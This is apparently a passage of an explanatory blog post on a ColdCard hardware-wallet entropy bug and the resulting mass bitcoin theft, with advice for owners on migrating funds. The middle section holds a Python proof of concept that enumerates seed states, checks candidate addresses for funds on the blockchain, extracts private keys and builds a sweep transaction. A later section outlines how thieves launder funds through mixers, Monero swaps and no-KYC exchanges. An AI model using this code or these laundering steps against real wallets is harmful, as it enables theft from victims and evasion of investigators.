• Because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, as Block points out, SysTick alone shrinks the space to ~80,000 values (~16 bits), making the search trivial in seconds.

Mk4/Q/Mk5 with reseed depends on how well the fallback is known:

• If the fallback is known, only the 32 bits from the secure element remain: 2^32 ≈ 4.3 billion candidates per device, or about 1.2 hours per device at 1 million/s.
• If the fallback is completely unknown, the space rises to ~2^72, about 4.7 sextillion candidates — infeasible by brute force alone.

That is why the first wave should be dominated by Mk3. The second wave, more than a day later, may include additional batches of the same model or harder models where the attacker managed to profile the fallback. Without identifying the model behind each address, we cannot say for sure, but the difficulty order is clear.

The speed also shows the attack did not start from scratch on July 30. To search 1.1 trillion states and find hundreds of funded addresses, the attacker already had infrastructure ready or spent days or weeks pre-computing before moving the first UTXOs.

What the chain reveals about the operation

coldcard-hack.up.railway.app analyzes in detail the three waves that emptied 1,082.59 BTC in 41 minutes (blocks 960183 to 960191). Although the site warns it was compiled by an AI agent and not human-reviewed, the blockchain data is verifiable:

Notable details:

• Sorted by balance: within each wave, transactions were ordered from largest to smallest balance. That is not an accident; it is a priority queue configured in the script.
• Identical shape: all 1,195 sweeps spend every UTXO from a single source address into a single output, with no change. No manual variation.
• Uniform fee rate: median of 30.136986 sat/vB across all waves — the same script choosing the fee.
• Address types: 1,182 were native SegWit (v0_p2wpkh), 7 P2SH-wrapped, and 6 legacy. So the attack was not limited to BIP84, although most ColdCard users hold bech32.
• Funds still sitting: when the site froze its data, the ~1,082 BTC were still in the vaults, with no mixing, no peel chain, and no subsequent movement.

All of this points to a single automated operation, not 1,195 independent thefts.

How this slipped through

The same coldcard-hack.up.railway.app maps the commits that introduced the bug. The most damning facts:

• The commit that added the wrong #ifndef guard in libngu had a one-character message, changed 28 files, and did not go through a pull request.
• The First pass w/ libNgU commit, which migrated seed generation to libngu and stripped GPL code, changed 120 files and was also pushed directly, with no PR.
• The two later commits that added the 32-bit reseed and the secure-element mixing did open pull requests, but merged with zero reviews.

A critical change in the entropy-generation path went through without end-to-end review. The correct TRNG existed in the binary; the problem was that the wrong symbol got linked, and nobody wrote a test proving where the seed actually came from.

The conceptual attack flow

Before the code, the general flow:

1. Reproduce the RNG. The attacker implements Yasmarang exactly as in the firmware, including the XOR with the second Yasmarang in libNgU.
2. Enumerate plausible states. For every combination of UID, SysTick, RTC, and — on newer models — secure-element reseed, they generate the 32 bytes that the ColdCard would have produced as entropy.
3. Derive the wallet. From that entropy, compute the BIP39 mnemonic, the BIP32 seed, and the first receiving and change addresses.
4. Query the blockchain. For each derived address, ask an explorer or a local node whether a UTXO exists.
5. Stop at the match. When a derived address matches an address with balance, the attacker already has the corresponding private key.
6. Spend. With the private key, build a transaction that moves the UTXO to an address they control.

The blockchain is the oracle. Without it, the attacker would not know which state produced real money. With it, every UTXO found confirms they guessed the key.

Proof-of-concept code

The script below is didactic. It is not GPU-optimized, does not run in seconds against 40 bits, and does not handle every firmware variation. What it does is make the attack readable, function by function.

1. The broken PRNG: Yasmarang

def yasmarang_step(state):
    """state = [pad, n, d, dat]; mutates the list and returns a uint32."""
    pad, n, d, dat = state

    pad = (pad + dat + d * n) & 0xFFFFFFFF
    pad = ((pad << 3) | (pad >> 29)) & 0xFFFFFFFF
    n = pad | 2
    d = (d ^ ((pad << 31) | (pad >> 1))) & 0xFFFFFFFF
    dat = (dat ^ (pad & 0xFF) ^ ((d >> 8) & 0xFF) ^ 1) & 0xFF

    out = (pad
           ^ ((d << 5) & 0xFFFFFFFF)
           ^ (pad >> 18)
           ^ ((dat << 1) & 0xFFFFFFFF)) & 0xFFFFFFFF

    state[:] = [pad, n, d, dat]
    return out

What it does: implements the deterministic generator that was in the firmware. It is the same function anyone can copy from the MicroPython source.

State example:

>>> s = [0x0A8CE26F, 69, 233, 0]
>>> [hex(yasmarang_step(s)) for _ in range(3)]
['0x12f99f10', '0x1e0841df', '0x8f794c6c']

2. From RNG state to ColdCard entropy

def coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed=None):
    """
    Simulates what the ColdCard did to generate the 32 entropy bytes.

    - MicroPython initializes its Yasmarang with:
        pad = UID_low32 ^ SysTick->VAL
        n   = RTC->TR
        d   = RTC->SSR
    - libNgU keeps a second Yasmarang with public constants.
    - Each 32-bit word is: chip ^ my_yasmarang().
    - On Mk4/Q/Mk5, reseed changes the libNgU 'pad' state.
    """
    mpy_state = [uid_low32 ^ systick, rtc_tr, rtc_ssr, 0]
    libngu_state = [0x0A8CE26F, 69, 233, 0]

    if reseed is not None:
        # reseed() in the firmware only overwrites yasmarang_pad
        libngu_state[0] = reseed & 0xFFFFFFFF

    # The ColdCard may make extra calls before generating the seed (health
    # check, etc.). In practice the attacker models the exact call history.
    # Here we simplify to 8 words = 32 bytes.
    words = []
    for _ in range(8):
        chip = yasmarang_step(mpy_state)
        mix = chip ^ yasmarang_step(libngu_state)
        words.append(struct.pack("<I", mix))

    return b"".join(words)

What it does: builds the initial state. The MicroPython pad is UID_low32 ^ SysTick; n and d come from the RTC. libNgU enters with public constants. Each word is the XOR of the two. That XOR does not create randomness: if both sides are reproducible, so is the result.

Example:

>>> coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
'3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66'

3. From entropy to a Bitcoin address

def first_addresses(entropy_bytes, account=0):
    """
    Given the raw entropy, generate the BIP39 mnemonic, the BIP32 seed,
    and the first native SegWit receiving and change addresses.
    """
    mnemonic = mnemonic_from_bytes(entropy_bytes)
    seed = mnemonic_to_seed(mnemonic)
    root = HDKey.from_seed(seed)

    addrs = {"mnemonic": mnemonic}
    for change in [0, 1]:
        for idx in range(5):
            path = f"m/84'/0'/{account}'/{change}/{idx}"
            key = root.derive(path)
            addr = p2wpkh(key.key.get_public_key()).address()
            label = "receive" if change == 0 else "change"
            addrs.setdefault(label, []).append(addr)
    return addrs

What it does: takes the 32 bytes, turns them into 24 BIP39 words, computes the seed, opens the BIP32 tree, and derives the addresses. In practice the attacker tests dozens or hundreds of indexes and also other accounts.

Example:

>>> cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
>>> cand["mnemonic"]
'copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup'
>>> cand["receive"][0]
'bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp'

4. Query the public blockchain as an oracle

def has_utxo(address):
    """True if the address has any UTXO according to mempool.space."""
    url = f"https://mempool.space/api/address/{address}/utxo"
    try:
        r = requests.get(url, timeout=10)
        r.raise_for_status()
        return len(r.json()) > 0
    except Exception as e:
        print("error querying", address, e)
        return False

What it does: asks the real question. Without this query, the attacker would not know whether they guessed right. The blockchain is the oracle.

Non-hit example:

>>> has_utxo("bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp")
False

The attacker discards it and moves to the next candidate.

Hit example (the real victim address bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, before the sweep):

[
  {
    "txid": "78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d",
    "vout": 0,
    "value": 2989251877,
    "status": {"confirmed": true, "block_height": 960188}
  }
]

When has_utxo returns True, the attacker knows the seed they just generated produces that address — and therefore the corresponding private key.

5. Enumerate candidates and hunt

def brute_mk3(uid_low32):
    """
    Example for Mk3/Mk2 v4: scan plausible SysTick and RTC values.
    In practice the attacker uses GPUs/FPGAs and constrains the UID from
    the device serial.
    """
    for systick in range(80_000):
        for rtc_tr in range(0x000000, 0x240000, 0x100):
            for rtc_ssr in range(0, 256):
                yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr)


def brute_mk4(uid_low32, systick, rtc_tr, rtc_ssr):
    """
    Example for Mk4/Q/Mk5: the fallback is fixed and the attacker enumerates
    the 2^32 possible secure-element reseed values.
    """
    for reseed in range(0x100000000):
        yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed)


def hunt(uid_low32, generator):
    for entropy in generator:
        candidate = first_addresses(entropy)
        for addr in candidate["receive"] + candidate["change"]:
            if has_utxo(addr):
                print("HIT!")
                print("  mnemonic:", candidate["mnemonic"])
                print("  address :", addr)
                return candidate


# Didactic example: use a known UID and a reduced Mk3 generator.
# hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))

What they do: brute_mk3 scans plausible states for Mk3; brute_mk4 scans the 2^32 secure-element reseeds; hunt is the generate-derive-check loop. The real attacker does not run Python; they write this in C/CUDA/FPGA and parallelize by UID. But the logic is identical.

After finding the collision

When hunt returns, the attacker already has the mnemonic and the funded address. From there, they get the private key:

from embit.bip39 import mnemonic_to_seed
from embit.bip32 import HDKey

seed = mnemonic_to_seed(candidate_mnemonic)
root = HDKey.from_seed(seed)
addr_key = root.derive("m/84'/0'/0'/0/0")

print("Compressed WIF:", addr_key.key.wif())
print("Address       :", addr_key.address())

Typical output:

Compressed WIF: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
Address       : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp

That WIF is the private key in a format any wallet understands. From here the attacker can:

1. Import the seed or the WIF into Sparrow, Electrum, or another wallet.
2. Rescan the blockchain to see all UTXOs for that seed.
3. Build a transaction sending the funds to an address they control.
4. Sign and broadcast.

Concrete sweep example

In the real case, the attacker swept the 29.89251877 BTC UTXO from address bc1qe85jr... to the consolidation address. What they needed to produce was a signed transaction. The skeleton, with didactic values and a fictional input, looks like this:

from bitcoinlib.transactions import Transaction
from bitcoinlib.keys import HDKey

# key recovered from the collided seed
key = HDKey.from_seed(candidate_mnemonic).derive("m/84'/0'/0'/0/0")

input_value  = 2_989_251_877      # 29.89251877 BTC, in satoshis
fee          = 7_380              # fee in satoshis
output_value = input_value - fee  # what is left for the attacker

tx = Transaction(network='bitcoin', fee=fee, witness_type='segwit')
tx.add_input(
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',  # victim UTXO txid
    0,
    keys=key,
    value=input_value,
    locking_script=bytes.fromhex('0014') + key.hash160,
    script_type='sig_pubkey',
    address=key.address()
)
tx.add_output(output_value, 'bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru')  # attacker address
tx.sign()

print(tx.raw_hex())

A valid signed transaction looks like this (hex truncated):

01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...

The attacker broadcasts that hex to any Bitcoin node (mempool.space, their own node, Electrum, etc.). The protocol does not ask where the key came from; it only checks whether the signature satisfies the script. If the signature is valid, the network includes the transaction in the next block and the UTXO changes owner.

In the real attack, this was done 1,195 times in 41 minutes, all with the same script, the same fee rate, and the same balance-sorted logic.

What this bug class means

This is not an attack on the elliptic curve, SHA-256, BIP39, or Bitcoin. It is an attack on entropy. The manufacturer reduced the key space, and the protocol simply accepted the signatures that came out of that smaller space.

Three lessons:

1. Do not trust the appearance of randomness. Yasmarang’s output passes simple statistical tests and looks random. But if the initial state is predictable, the entire sequence is predictable.
2. Hashing does not create entropy. Passing 40 bits of input through SHA-256 twice yields a nice, uniform hash, but there are still at most 2^40 possible hashes. The attacker enumerates inputs, not hashes.
3. The blockchain is public and permanent. A vulnerable wallet can sit quietly for years until someone connects the dots. On the day the attack is published, every UTXO in that key space becomes a target.

Can the attacker be caught?

Whenever a cryptocurrency theft reaches this scale, one question keeps coming up: “can the person be traced?”. The short answer is: maybe, but it is not trivial, and tracing is not the same as recovering the bitcoins.

Clay Garrett, who is among the people investigating the case, published a thread on X claiming that his team identified an unusual sweep pattern. According to the thread, the attack operator allegedly used a paid account at a well-known blockchain-services provider to query the source addresses and related activity during the sweeps. The provider’s logs allegedly matched, with “extraordinary specificity,” the number, timing, and sequence of requests. The provider, Garrett says, was only delivering normal services; the requests themselves did not reveal their purpose.

What this means, if confirmed:

• A blockchain-services provider usually requires an account, and often payment. That can leave traces: email, payment method, IP address, access times, API usage patterns.
• If the account was KYC’d, the chance of identifying a person rises sharply. If payment was made with cryptocurrency, an anonymous voucher, or a third-party card, the link weakens.
• Even with an IP or email, the operator may have used a VPN, Tor, disposable cloud compute, or a stolen identity. Each extra layer reduces the chance of reaching the real person.
• The funds, as far as is known, have not yet been moved to mixers or exchanges. While they remain stationary, there is a window for freezing or judicial recovery. Once they are swapped, mixed, or converted to offshore fiat, asset recovery becomes drastically harder.

So the thread points to a promising line of investigation, but it is an ongoing allegation, not a concluded proof. Catching the operator depends on how much they exposed through third-party services, the quality of the logs, jurisdiction, and how fast authorities act. Recovering the bitcoins depends on where the coins are when that happens. The two are related, but they are not the same thing.

What the attacker has not done yet

So far, the operation has been technically competent at the attack but amateurish at the escape. The ~1,128 BTC stolen are sitting in known consolidation addresses, with no mixer, no coinjoin, no follow-up movement. That is unusual for a theft of this size and worth attention, because it determines what is still recoverable.

What a mixer is, and why it has not been used

A mixer (or tumbler) is a service that takes bitcoins from many people, shuffles the amounts inside a single transaction or a series of transactions, and returns equivalent bitcoins to fresh addresses. The goal is to break the public chain of “where it came from.”

The classic model is CoinJoin: several participants jointly sign a transaction with many inputs and many outputs of the same size. An outside observer sees the money go in but cannot tell which output belongs to whom. Tools like Wasabi Wallet and Samourai Wallet implement CoinJoin automatically. Samourai even offered a service called Whirlpool, where UTXOs go through remix rounds that make tracing even harder.

Another model is the centralized mixer: you send bitcoins to a service address and receive them back from a different pool, minus a fee. Services like Bitcoin Fog and Helix historically worked this way. The difference from CoinJoin is that you must trust the mixer operator — and several of those operators were arrested precisely because investigators could link deposits to withdrawals.

In the ColdCard theft, none of these techniques has appeared yet. The bitcoins moved from the victims’ wallets into three large clusters and have not moved since. That can mean several things:

1. The attacker is still getting ready. Stealing 1,128 BTC in 41 minutes is one thing; laundering 1,128 BTC without leaving a trace is another. Setting up an anonymization pipeline takes time, costs money, and requires pre-established accounts.
2. The attacker did not expect this much visibility. Once the press and blockchain analysts start tracking addresses in real time, any immediate movement becomes news. Leaving the funds still is a way to wait for the noise to die down.
3. The attacker may be negotiating a recovery. Large thefts sometimes end in settlements, with part of the funds returned in exchange for the thief’s anonymity.

How one normally hides a haul like this

If the operator really wants to make tracing difficult, the standard playbook involves several layers:

1. CoinJoin rounds. The attacker splits the funds into standardized amounts and runs them through multiple CoinJoin rounds. After a few rounds the graph stops being a tree and becomes a web, making attribution hard.
2. Peel chain. Instead of sending everything at once, the operator moves small slices across dozens or hundreds of intermediate addresses, like peeling an onion. Each address forwards most of the value to the next one and a tiny fraction to a final destination.
3. Instant swaps and bridges. Swapping Bitcoin for Monero on a decentralized exchange or bridge is a common path: Monero hides sender, recipient, and amount. After a few Monero transactions, the attacker can swap back into Bitcoin at fresh addresses.
4. Weak-KYC or no-KYC exchanges. Depositing into exchanges that do not require identification, or that accept third-party accounts, lets the attacker convert into stablecoins, fiat, or other cryptocurrencies. Even with KYC, bought accounts or money mules help create distance.
5. Offshore fiat. The final stage is turning the asset into real cash outside jurisdictions that cooperate with investigations. Unregulated exchanges, Bitcoin ATMs, prepaid cards, and accounts in tax havens fit here.

None of these layers makes tracing impossible, but each raises the cost. A well-funded investigation can still follow clues: fees paid by an exchange, timing patterns, change addresses, value matches. The problem is that the more layers there are, the more time it takes — and the more time passes, the lower the chance of freezing the funds before they are spent.

Why this matters now

The fact that the bitcoins are still in the consolidation addresses means the recovery window is still theoretically open. Law enforcement and private investigators can monitor those addresses, request freezes at exchanges, and pressure blockchain-service providers. If the attacker sends even a single satoshi to a known mixer, alarms go off.

But that window closes as soon as the funds enter an anonymization pipeline. After a proper CoinJoin, a Monero swap, and a network of peel chains, the question stops being “where is the money?” and becomes “who can we arrest?”. Recovering the asset becomes technically infeasible for most victims.

In other words, the attacker has already won the first battle — finding and stealing the keys. The second battle, cashing out anonymously, is the one that usually separates big-wallet thieves from thieves who end up in prison.

Conclusion

If you still have funds in a seed generated by vulnerable ColdCard firmware, the risk is not theoretical. The blockchain already shows hundreds of addresses being emptied by someone who reproduced the broken RNG.

The ColdCard does not hold your bitcoins. It held the key. The key was born weak. Whoever has a copy of the same key — obtained by enumerating states of a PRNG — can sign transactions on your behalf, without ever having touched the device.

The only defense is to move the funds to a new seed, generated by corrected firmware or, better, by a process that combines independent entropy sources (casino-grade dice, a different manufacturer’s TRNG, an offline host). And test recovery before sending meaningful value.

Do not trust a company, certification, influencer, or article. Not even this one. Verify.

I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address received 594.47723261 BTC across 501 outputs. That is public blockchain data, not a Telegram screenshot. Issue 416 of Bitcoin Optech, published while the case was still unfolding, already estimated losses above 1,000 BTC.

The exact number will still change. The 594 BTC cluster is directly observable; attributing every input to the same vulnerability and closing the global total requires more analysis. But the combination of victim reports, the sweep pattern, reproduction of the bug, and Coinkite’s own admission is strong enough. Waiting for a pretty forensic report while a vulnerable seed keeps receiving funds is a terrible strategy.

Do not panic and type your 24 words into the first website that promises to “check your ColdCard” either. That is the other, much easier way to lose everything. A seed never goes into a website, chat, browser extension, or online computer. First understand whether you were affected. Then migrate calmly, verifying the address on the screen of a trusted signer.

Who needs to act now

The vulnerability is in seed generation. What matters is the model and firmware used on the day those words were created, not the firmware installed today or where you imported the seed afterward.

In practice: if you own any ColdCard, move the funds to a wallet derived from a completely new seed. Better to err on the side of caution. The ranges below show where the bug has already been confirmed; they are no reason to bet your life savings on the assumption that everything else is perfect. Updating the device does not repair the old seed.

According to Coinkite’s advisory and Block’s independent analysis, treat as compromised any seed generated under these conditions:

Block includes the Mk2 running 4.x firmware in the same regression as the Mk3 and starts the vulnerable range for both at 4.0.0. Coinkite focused its advisory on the Mk3, starting at 4.0.1, and on current models. I would treat the entire 4.x line through 4.1.9 as compromised on both. If you own an Mk2, do not take comfort from its absence in the advisory headline.

There is one important exception: anyone who added at least 50 fair, independent, and private die rolls during the original setup theoretically preserved at least 128 bits from an outside source. Coinkite itself says those seeds are not at risk from this bug alone. If you do not remember exactly how many rolls you made, which flow you used, or whether those results remained private, assume you did not do it.

A seed imported from another generator was not born from this defective RNG either. It may have other problems, of course, but not this one. Updating firmware now cannot travel back in time and repair any words. You must create a new seed and transfer the UTXOs to addresses derived from it.

Restoring the same 24 words on a Trezor, Ledger, SeedSigner, or any other device is NOT a migration. You are still in danger. The hardware changed; the root and the entire universe of derived private keys remain the same. Another derivation path may display different addresses, but it adds no entropy. If the ColdCard generated that wallet using the weak RNG, importing its seed into another signer merely teaches the new device to reproduce the same vulnerable keys. Create a completely new wallet with new entropy, then make an on-chain transaction that moves the funds from the old wallet to addresses in the new one.

I would do this even with a strong passphrase. The passphrase may have placed an independent barrier in front of the attacker, but Coinkite itself recommends migrating. After a failure of this magnitude, calculating the minimum theoretically acceptable risk is saving money in the wrong place.

The bug: #ifndef does not mean “if true”

Coinkite’s technical postmortem is an embarrassing read.

In March 2021, the firmware replaced ckcc.rng_bytes() with ngu.random.bytes() during its migration to libNgU and the libsecp256k1 used by Bitcoin Core. The library choice was good. The integration was disastrous.

The build code defined:

#define MICROPY_HW_ENABLE_RNG (0)

But the guard in libNgU checked this:

#ifndef MICROPY_HW_ENABLE_RNG
#error "get a HW TRNG plz"
#endif

#ifndef asks whether the symbol exists, not whether its value is nonzero. The symbol existed. The build passed. In the final resolution, rng_get() pointed to MicroPython’s software fallback, a deterministic PRNG called Yasmarang, initialized with the microcontroller UID and timing registers. A UID identifies a chip. A clock measures time. Neither is a cryptographic source of randomness.

Worse, the correct TRNG implementation was inside the binary. Previous reviews looked at it and concluded everything was fine, but nobody verified the complete path between “create new wallet” and the symbol actually called in the executable. There was no integration test that failed when the seed came from the wrong generator.

On the Mk3, Coinkite’s preliminary estimate is around 40 bits of effective entropy, instead of the minimum 128 bits expected. On the Mk4, Q, and Mk5, values from the secure elements entered as a second layer, and the company estimates approximately 72 bits. Block’s analysis is harsher: only 32 bits of material from the secure elements reached the PRNG state during that reseed. The threat models and estimates are not identical. None comes close to the target.

Passing bad output through SHA-256 does not create entropy. If only 2^40 inputs exist, at most 2^40 possible hashes exist. They look nice and uniform and remain enumerable.

This sat on the most important path in the product for more than five years.

How a 120-file rewrite got us here

Zach Herbert published a timeline worth summarizing. He is a Foundation cofounder, Passport manufacturer, and Coinkite competitor, so read the interpretation with that context. The dates and commits, however, can be verified.

In July 2020, Foundation announced that its first Passport would build on ColdCard’s GPLv3 firmware. Two days later, NVK publicly complained about the “clone” and said he would change the license. In November, ColdCard added MIT plus the Commons Clause, which left the code visible but restricted derivative commercial products. In January 2021, the change formally appeared in firmware 3.2.1.

On March 1 came the First pass w/ libNgU commit: 120 files changed, removal of GPL-covered libraries derived from Trezor, replacement of the cryptographic stack, and a change to seed generation. On March 17, version 4.0.0 announced the removal of the last GPL code.

There is no way to prove how much of the haste or scope came from the license dispute. The timeline itself acknowledges other legitimate goals: adopting libsecp256k1, accelerating AES/SHA, and enabling reproducible builds. The concrete fact is simpler: the bug entered in that same massive commit, and the product went five years without an end-to-end test of its most critical path.

That is engineering incompetence. A hardware wallet can have a secure element, sealed packaging, an air gap, and a website full of explanations about sovereignty. If the function that creates the key calls the wrong RNG and nobody tests it for five years, everything else is theater.

This was a white swan, not a black swan

I have already seen people call this a “black swan,” as though a cosmic alignment of unforeseeable events had struck Coinkite. It was not.

The vulnerable code had been visible in the repository since March 2021. The commit was enormous, but not secret. The deterministic fallback was in a public submodule. The macro defined as zero was in the board configuration. The incorrect #ifndef was in the integration. What was missing was following the seed-generation call all the way to the symbol resolved in the binary and writing a test that proved where its entropy came from.

A black swan is rare, surprising, and only looks obvious afterward. This was a white swan: a known risk in the most sensitive category of the product, with an observable cause and a predictable consequence. Nobody knew the exact day someone would connect the dots and sweep the wallets. The bomb, however, had been assembled and ticking in public for five years.

And Coinkite helped reduce the number of people willing to defuse it.

In 2021, Marko Bencun from Shift/BitBox and Hugo Nguyen from Nunchuk responsibly disclosed a critical multisig flaw. Coinkite fixed the code, but its release notes did not say it was a vulnerability or communicate any urgency. Bencun’s bounty request was ignored. The company published a more explicit warning only after the researcher released the details.

The current responsible disclosure policy still leaves reward amount, eligibility, and timing to the company’s discretion. Researchers working for competitors or well-funded labs are not eligible for a bounty. The page even throws in “we are not here to make it easy for you,” as if antagonizing people who audit your vault demonstrated personality.

Zach Herbert also documented NVK’s public attacks on Foundation after it used ColdCard’s GPL code: “pure clone,” “leeches,” and “affinity scamming.” Herbert is a competitor with an interest in the dispute, but the posts and screenshots exist. My opinion of NVK as a CEO is now terrible. He cultivated hostility toward the manufacturers and researchers who had the knowledge and technical incentive to review his product.

I do not need to claim that every researcher abandoned Coinkite. Just look at the incentives. A competent white hat can spend weeks dismantling firmware. If a company minimizes findings, ignores bounties, treats competitors as enemies, and reserves the right to decide when something deserves credit, that researcher works on another product. Open code permits auditing; it does not force anyone to audit for free for a company that treats them badly.

So this was not one-in-a-billion bad luck. It was a self-fulfilling prophecy. Extreme negligence accumulated risk until someone exploited it. When the bomb went off, it did not erase a number in a Coinkite spreadsheet. It took real bitcoin that, for some victims, represented years of savings or their life’s savings.

No, “AI broke Bitcoin” my ass

Coinkite wrote that, because the firmware was public, “we have to assume” someone used AI to review old versions and found the bug. It provided no evidence. In the next paragraph, it admits that weeks earlier it had used one of the best available models to review the same code, and the model found nothing serious.

NVK later published an apology on Coinkite’s behalf. He took responsibility for the bug, told every ColdCard owner to move their funds, acknowledged that new firmware cannot repair an old seed, and said the company would have to earn back its users’ trust. That is the bare minimum, but it matters that he said it.

The problem is that he ended by trying to turn the disaster into “a sober reality of the new AI paradigm,” arguing that AI-assisted review can now find old bugs faster than seasoned experts. No. This has fuck all to do with AI. The bug was basic, visible in the code for five years, and sat in the most important function of a hardware wallet. NVK was lucky it took this long.

Do not shift the blame to AI-assisted code review to justify piss-poor code. AI may have helped someone locate or exploit the flaw. AI did not write that #ifndef, disable the TRNG, approve the 120-file rewrite, or spend five years without an end-to-end test of seed generation. Coinkite did all of that.

After disclosure, researchers reproduced the flaw with the help of frontier models. Great. That shows AI can accelerate auditing and exploitation after someone points to where they should dig. It does not mean an AI broke ECDSA, secp256k1, SHA-256, BIP39, or Bitcoin.

The attacker enumerated a keyspace that a manufacturer had reduced from at least 128 bits to something around 40. This is brute force against predictable numbers. The Bitcoin protocol did exactly what it should: it accepted valid signatures produced by the correct private keys.

AI did not break Bitcoin. Coinkite left a basic regression untested at the heart of its firmware for five years. Blaming the tool that may have helped someone read the code is a convenient way to change the subject.

What a wallet actually stores

Bitcoin does not sit “inside” a ColdCard, Ledger, or Sparrow file. The blockchain contains UTXOs locked by scripts. Your wallet stores the material needed to find those UTXOs and produce signatures that satisfy the scripts.

At the most basic level, a private key is an integer chosen within the domain of the secp256k1 curve. The public key is a point calculated from it. That path is easy to compute forward and infeasible to reverse with known computing power. Addresses are representations derived from public keys and scripts, not vaults where coins live.

I explained this foundation more carefully in [Akitando #67] Understanding Basic Cryptography Concepts - Part 1 and [Akitando #68] Understanding Basic Cryptography Concepts - Part 2.

A modern wallet does not draw an independent key for each address. It starts with a root and uses BIP32 to derive a deterministic tree of keys: accounts, receiving addresses, change, and so on. A backup of the root recovers the entire tree.

BIP39 is the layer that turns binary entropy into readable words and then converts the mnemonic plus a passphrase into a 512-bit binary seed used by BIP32. The words are a human-readable way to carry computer-generated randomness. The specification explicitly warns that it is not a method for inventing a nice phrase in your own head.

Twelve or 24 words is the wrong question

A 12-word mnemonic encodes 128 bits of entropy plus a 4-bit checksum. A 24-word mnemonic encodes 256 bits plus an 8-bit checksum. Under normal conditions, 128 bits is already beyond brute-force reach.

But “24 words” does not guarantee that 256 real bits existed at the input. Vulnerable firmware could produce a perfectly valid sequence of 24 words, correct checksum and all, from an effective space of approximately 40 bits. The attacker does not need to try every possible word combination. They reproduce plausible states of the broken RNG and compare the derived addresses.

That is why the 12-versus-24 argument misses the point. Representation length cannot rescue a predictable source. A UUID printed in gold lettering remains predictable if someone called rand() with a timestamp.

RNG, TRNG, and independent sources

RNG is the generic term for a random number generator. A PRNG takes an initial state, the seed, and expands it into a deterministic sequence. A properly designed CSPRNG remains safe as long as the initial state contains enough entropy and the algorithm does not leak that state.

A TRNG tries to harvest randomness from physical phenomena: electronic noise, oscillator jitter, and similar sources. Ledger explains its process as a TRNG inside the Secure Element generating 256 bits, which BIP39 translates into 24 words. The company says an external lab tests that generator and certifies it under AIS-31. That is much better than a timer plus serial number, but it remains one source and one implementation you have chosen to trust.

Other projects prefer to combine sources. Trezor uses entropy from the device and host. BitBox02 documents five sources: the secure chip TRNG, the microcontroller TRNG, a unique value installed at the factory, entropy supplied by the host, and a hash of the device password.

The word that matters here is independence. Two PRNGs initialized from the same clock are not two sources. Two values that come from the same secure element do not buy the independence the diagram implies either. Independent sources, combined through a correct cryptographic construction, keep the result strong even when some of them fail.

And “combined correctly” carries half the security in that sentence. XOR, hashes, and extractors have specific properties. Do not invent your own mixer in half an hour and put your net worth on top of it. Use a reviewed implementation with test vectors, and verify that the binary you execute actually calls that code. I think the reason is now obvious.

Rolling dice is not that simple

Each roll of an ideal D6 provides log2(6), about 2.585 bits. That is where the figures of 50 rolls for 128 bits and 99 rolls for approximately 256 bits come from. ColdCard’s documentation shows the calculation and the SHA-256 applied to the sequence. SeedSigner uses the same thresholds: 50 for 12 words or 99 for 24.

That calculation assumes a fair die and independent rolls. A cheap promotional plastic die may have bubbles, poorly cut faces, and a shifted center of mass. Your hand may repeat a motion, the tray may favor one position, and many people “roll again” when the die lands near an edge. Every human decision made after seeing the result introduces bias.

If I were generating a seed manually today, I would use precision casino-grade dice from more than one manufacturer or batch. BitBox itself recommends five casino-grade dice for its manual procedure. I would define the reading order ahead of time, use a tray that lets the dice bounce, and accept every valid roll according to a rule written before I started. No rerolling because it “didn’t mix properly.”

Even then, I would not trust the dice alone. I would mix independent sources: more than one set of dice, coin flips, entropy from an offline host, and a hardware TRNG when the device supports it. Making hundreds of rolls is cheap. The care lies in feeding everything to an audited mechanism that performs the cryptographic combination. Adding numbers, picking the “most random” words, or concatenating pieces of mnemonics yourself is a recipe for losing funds.

Check what your device actually implements. In Ledger’s documented new-wallet setup, the Secure Element TRNG generates the entropy. In restore mode, the words must reconstruct exactly the same keys. The TRNG cannot add secret entropy on top of the imported mnemonic because that would create another wallet and destroy the purpose of a backup. Restoring a seed made with dice therefore transfers custody and signing to the device, but it does not improve the original randomness.

With a commercial hardware wallet, I would choose one of two paths: generate a new root through the official flow of an updated device that documents how it combines independent sources, or generate BIP39 outside it through an auditable and fully offline process, then enter the words only through the signer’s screen and buttons. A seed created in MetaMask, a website, or a connected laptop and later restored into a Ledger remains a hot seed. Ledger summarizes this well: move, don’t merge.

BTC D00M Guy has a visual Portuguese-language tutorial on BIP39, dice, and recovery testing. It is a good introduction to seeing the process, but I would not literally copy the old-phone-in-airplane-mode step for serious wealth. Airplane mode does not prove the device was clean, does not physically remove its radios, and formatting flash afterward gives me no verifiable erasure guarantee. It is fine for learning and rehearsal. To create the seed for my life savings, I prefer hardware with no radio, a verified ephemeral system, or a dedicated signer.

The rolls become a secret the moment you decide to use them. Do not photograph them, dictate them out loud, keep them in a phone note, or type them into a website. SeedSigner’s documentation recommends that any verification of a real seed happen on an ephemeral system such as Tails, fully offline and discarded after the test.

More entropy does not fix a bad process either. One hundred rolls recorded by a cloud-connected camera are worth zero against someone who has the video.

Passphrase: another wallet, not another password

